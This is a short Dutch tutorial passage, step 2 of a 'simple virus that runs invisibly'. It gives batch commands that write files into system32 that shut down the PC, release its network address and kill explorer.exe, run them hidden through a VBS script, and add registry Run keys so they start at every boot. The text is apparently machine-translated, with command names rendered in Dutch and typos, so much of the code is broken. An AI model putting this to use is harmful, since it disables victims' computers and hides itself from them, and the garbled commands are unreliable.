Eenvoudige virus dat onzichtbare loopt (2 / 4 stap)

Stap 2: Met behulp van de invis script

ECHO wscript.exe "C:\windows\system32\invis.vbs" "Data_exe.bat" > Data_exe.bat
echo uitschakelen > Data.bat
ECHO ipconfig/release >> Data.bat
ECHO taskkill explorer.exe >> Data.bat
ECHO mkdir %% willekeurige %% >> Data.bat
ECHO mkdir %% willekeurige %% >> Data.bat

Deze code verandert de map system32 en maakt vervolgens twee nieuwe batchbestanden getiteld Data.bat en Data_exe.bat.

De inhoud van de Data_exe.bat zal worden:

WScript.exe "C:\windows\system32\invis.vbs" "Data_exe.bat"

en de inhoud van Data.bat:
uitschakelen
ipconfig/release
taskkill explorer.exe
mkdir %% willekeurige %%
mkdir %% willekeurige %%

Het belang van het bestand Data_exe.bat is Data.bat starten met het script invis.vbs, zodat deze onzichtbaar wordt uitgevoerd.

Nu zullen we Data_exe.bat starten wanneer de computer wordt opgestart.

Deze twee lijnen toevoegen aan de onderkant van de batch-bestand:

reg toevoegen "HKCU\software\microsoft\windows\currentversion\run" /v veiligheid /t reg_sz /d "% windir%\system32\Data_exe.bat" /f

reg. voegt "HKLM\software\microsoft\windows\currentversion\run" /v veiligheid /t reg_sz /d "% windir%\system32\Data_exet" /f